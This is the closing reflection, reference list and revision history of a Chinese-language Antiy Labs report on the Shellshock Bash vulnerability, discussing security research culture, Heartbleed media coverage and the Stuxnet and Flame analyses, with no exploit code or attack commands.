此前的心脏出血是一个真实的、堪称几年来最高风险的威胁,在这个过程中,攻击者之疯狂,获取数据量之大,其实令普通用户难以想象,从研究者到媒体的关注并不过度。而正是这个威胁被足够的重视,才引发了对开源代码安全的全面审视。或许,正是这种全面审视,导致了潜伏更久的“破壳”漏洞被寻觅出来。而由于其影响范围过于深远,修补难以彻底,又接连导致了漏洞迭代发生与被发现。而假如没有这样的关注与研究,这个漏洞将继续潜伏,更重要的是,其可能长期被少数攻击者使用,对“信息银行”和云端资产进行全面洗劫,同时让所有用户均不知晓。这种从开源界到安全界手忙脚乱的尴尬,是一时性的阵痛,但其降低了更多信息系统被长期劫持、“慢性谋杀”的风险。因此,媒体的朋友们并不应因很多用户质疑没有感受到“心脏出血”而沮丧,而应为努力参与了这个问题的报道而自豪。

而与此同时,我们也十分忧虑地看到,互联网的“注意力经济”特色,对网络安全界的双面影响,一方面,安全可以前所未有的被用户感知和了解;另一方面,也使安全研究开始有窄带、短视和功利化倾向。

一切为了影响力的安全研究,必然使那些不被关注的领域得不到更多阳光雨露而贫瘠;必然使热点过后,即热情消退,马放南山;必然使那些长期受宠的热点领域孤单地疯长,但现代信息体系的安全是一个大系统安全,一点管涌,全堤溃散。

我们从不相信会有绝对的安全,我们当然承认,每个工程师甚至每个团队,无论其能力何其之强,规模何其之大,都不可能穷尽关注全部既有威胁。一位小伙伴到安天面试时,他的主考官是Swordlea(李柏松),他问Swordlea为什么我们要自动化分析样本,而不全部人工分析。Swordlea答道:“吾生也有涯,而知也无涯;以有涯随无涯,殆矣”。之后Swordlea非常肯定的说:“工程师的关注度和研究能力是安全团队最宝贵的财富,必须用到关键威胁之上”。而问题来了——不是学挖掘机到底哪家强?——而是,我们到底打透了哪个安全威胁?

打透,就要敢于投入,就是要不怕一无所获,就是不在意是否有关注与喝彩。

Claud还在哈尔滨的时候,曾思考过在Stuxnet(震网)病毒分析中,两个“沉默的45天”,即201086日赛门铁克宣布这是第一个针对工控系统的Rootkit后,其陷入沉默,一直到921日完成了其针对西门PLC作业过程的完整分析;而在2010930VB大会的演示后,又是一个沉默期,而到了20101116日,其公布了震网攻击目标是伊朗浓缩铀设施的分析结果。

其间群音鼓噪,热度飘忽,而我们的海外同行们一直沉默前行。而赛门铁克同行们的著名百页大报告《震网蠕虫档案(W32.Stuxnet)》,则利用了三个半月的时间,进行了4次大篇幅更新。而更令我们尊敬的是,就在很长世间之后,他们陆续又公布了:

Ø  Multiple Siemens SIMATIC Products DLL Loading Arbitrary Code Execution Vulnerability (CVE-2012-3015) (时间:2012724 12:00[13]

Ø  Stuxnet 0.5: The Missing Link (时间:2013226 17:40[14]

Ø  Stuxnet 0.5: Disrupting Uranium Processing At Natanz (时间:2013226 17:40[15]

Ø  Stuxnet 0.5: How it Evolved (时间:2013226 17:40[16]

Ø  Stuxnet 0.5: Command-and-Control Capabilities (时间:2013226 17:40[17]

在我们认为自己输掉了Stuxnet的“分析竞赛”后,决定投入关于Flame的马拉松式的分析,希望贡献一篇厚度空前的大报告,而一位院士在听了我们的分析进展后,指出了我们完全是堆砌分析资源。但方法缺少创造力,视角过于微观。我们这才意识到,我们陷入了“军备竞赛”的心理怪圈,忘记了我们应该关注的是“威胁”而不是“厚度”。太关注一时的成败,容易让我们迷失方向。——我们骤然想起安天团队宣言中的一句 “只有病毒和安全威胁是我们的敌人,安天视一切认同本原则的兄弟厂商和团队为伙伴和榜样”。

我的另一位同事SeakGeekPwn哈尔滨站开站活动中说,安全研究者就是互联网大潮的“逆行者”,“在大家飞速向前奔跑的时候,我们所需要做的是在人流中反向穿梭,帮助丢失物品的人拾起物品再送还给失主。”,“这可能是个痛苦的过程,需要坚定、专注和耐得住寂寞。”。

 “坚定、专注和耐得住寂寞”,是我们能长期跟踪,打透某个具体威胁的关键基础。而不刻意追随或营造媒体的关注热点;不刻意附会公众的短时喜好;不屈从于任何压力而只崇尚事实与逻辑;亦不参与互联网的是是非非,是我们作为独立安全厂商的风格所在。

“破壳”漏洞,让安天这个在Wintel架构上有更多经验的团队,打开了观察探索系统类UNIX安全威胁的小窗。让我们看到了我们过去所不熟悉的一些黑色的力量,是怎样与我们相对更为熟悉的恶意代码进行着合流。

我们知道我们的力量是微薄的。但我们希望能把更有效的工作聚合于单点,形成更有价值的结果。那些经过持续努力而沉淀的东西,可能依然粗浅,但会比浅尝辄止更有意义。

宜将剩勇追穷寇,这就是我们还在继续研究"破壳"及其相关恶意代码的原因。

[1]      安天实验室:“破壳”漏洞(CVE-2014-6271)综合分析

https://www.antiy.com/response/CVE-2014-6271.html

[2]      安天实验室:“破壳”漏洞相关恶意代码样本分析报告 ——“破壳相关分析之二

https://www.antiy.com/response/Analysis_Report_on_Sample_Set_of_Bash_Shellshock.html

[3]      NVDVulnerability Summary for CVE-2014-6271

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

[4]      Shellshocker.netBash Shellshock

https://shellshocker.net/

[5]      GitHubShellshocker - Repository of "Shellshock" Proof of Concept Code

https://github.com/mubix/shellshocker-pocs

[6]      Stackexchange:一位用户的提问

http://security.stackexchange.com/questions/16908/is-secureshellz-bot-a-virus-how-does-it-work

[7]      维基百科:类 UNIX

http://zh.wikipedia.org/wiki/%E7%B1%BB_UNIX

[8]      NVDVulnerability Summary for CVE-2014-7169

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169

[9]      NVDVulnerability Summary for CVE-2014-6277

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6277

[10]  NVDVulnerability Summary for CVE-2014-6278

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6278

[11]  NVDVulnerability Summary for CVE-2014-7186

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7186

[12]  NVDVulnerability Summary for CVE-2014-7187

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7187

[13]  SecurityFocusMultiple Siemens SIMATIC Products DLL Loading Arbitrary Code Execution Vulnerability

http://www.securityfocus.com/bid/54651/info

[14]  赛门铁克:Stuxnet 0.5: The Missing Link

http://www.symantec.com/connect/blogs/stuxnet-05-missing-link

http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/stuxnet_0_5_the_missing_link.pdf

[15]  赛门铁克:Stuxnet 0.5: Disrupting Uranium Processing at Natanz

http://www.symantec.com/connect/blogs/stuxnet-05-disrupting-uranium-processing-natanz

[16]  赛门铁克:Stuxnet 0.5: How It Evolved

http://www.symantec.com/connect/blogs/stuxnet-05-how-it-evolved

[17]  赛门铁克:Stuxnet 0.5: Command-and-Control Capabilities

http://www.symantec.com/connect/blogs/stuxnet-05-command-and-control-capabilities

[18]  安天实验室:Heartbleed漏洞(CVE-2014-0160FAQ

https://www.antiy.com/response/heartbleed_faq.html

[19]  维基百科:Staog

http://en.wikipedia.org/wiki/Staog

[20]  F-SecureLinux/Staog

http://www.f-secure.com/v-descs/staog.shtml

[21]  维基百科:Bliss (virus)

http://en.wikipedia.org/wiki/Bliss_(virus)

[22]  Tuxissa

http://news.mydrivers.com/1/180/180663.htm

[23]  维基百科:Badbunny

http://en.wikipedia.org/wiki/Badbunny

[24]  维基百科:OpenOffice

http://en.wikipedia.org/wiki/OpenOffice

[25]  维基百科:LibTIFF

http://en.wikipedia.org/wiki/LibTIFF

[26]  Hand of Thief” banking trojan doesn’t do Windows—but it does Linux

http://arstechnica.com/security/2013/08/hand-of-thief-banking-trojan-doesnt-do-windows-but-it-does-linux

[27]  Thieves Reaching for Linux—”Hand of Thief” Trojan Targets Linux #INTH3WILD

https://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thief-trojan-targets-linux-inth3wild/

[28]  Operation Windigo” Attack Infects 10,000 Unix Servers, Millions of PCs at Risk

http://news.softpedia.com/news/quot-Operation-Windigo-quot-Attack-Infects-10-000-Unix-Servers-Millions-of-PCs-at-Risk-432920.shtml

[29]  Operation Windigo: Linux server-side malware campaign exposed

http://phys.org/news/2014-03-windigo-linux-server-side-malware-campaign.html

安天是专业的下一代安全检测引擎研发企业,安天的检测引擎为网络安全产品和移动设备提供病毒和各种恶意代码的检测能力,并被超过十家以上的著名安全厂商所采用,全球有数万台防火墙和数千万部手机的安全软件内置有安天的引擎。安天获得了2013年度AV-TEST年度移动设备最佳保护奖。依托引擎、沙箱和后台体系的能力,安天进一步为行业企业提供有自身特色的基于流量的反APT解决方案。

 

关于反病毒引擎更多信息请访问:

https://www.antiy.com(中文)

http://www.antiy.net(英文)

关于安天反APT相关产品更多信息请访问:

https://www.antiy.cn

更新日期

更新版本

更新内容

2014-10-09 10:00

V1.0

文档创建、文档架构

2014-10-10 09:00

V1.1

漏洞演变、pcap包演变、样本演变

2014-10-11 01:00

V1.2

目前文档整合

2014-10-11 09:30

V1.3

进行文档新增内容设计、VDS监控到的攻击事件分析

2014-10-12 02:40

V1.4

进行类UNIX系统的安全威胁撰写、总结

2014-10-12 21:20

V1.5

进行细节校对修改

2014-10-13 10:00

V1.6

进行细节校对修改

2014-10-13 15:30

V1.61

发起攻击IP分布说明更新、攻击载荷提取说明更新、其他细节修改

2014-10-13 19:34

V1.62

修改类UNIX恶意代码统计,其他内容校对

2014-10-14 17:10

V1.7

修改文章和相关章节标题,丰富类UNIX恶意代码内容,进行部分细节修改